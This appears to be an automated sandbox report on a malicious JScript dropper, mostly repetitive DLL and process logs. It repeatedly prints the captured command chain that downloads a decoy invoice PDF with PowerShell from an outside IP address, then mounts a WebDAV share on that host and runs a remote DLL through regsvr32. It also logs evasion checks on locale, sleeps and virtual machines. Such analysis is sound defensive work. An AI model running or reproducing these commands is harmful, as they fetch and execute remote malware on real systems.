Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9149.js.csv");ITextStream.WriteLine(" entry:8153 f:ybegd");ITextStream.WriteLine(" exec:2 f:ybegd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49721

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4768			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4865			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6520	Thread sleep count: 4768 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6520	Thread sleep count: 4865 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2268	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4824	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4060	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 768	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3248	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6368	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2220161174.0000026F13F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2220398675.0000026F13F98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2217882096.0000026F13F98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=
Source: net.exe, 00000007.00000002.2220398675.0000026F13F98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2217882096.0000026F13F98000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3424130899.000001CE4EE58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3423125898.000001CE4982B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11503028921298.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

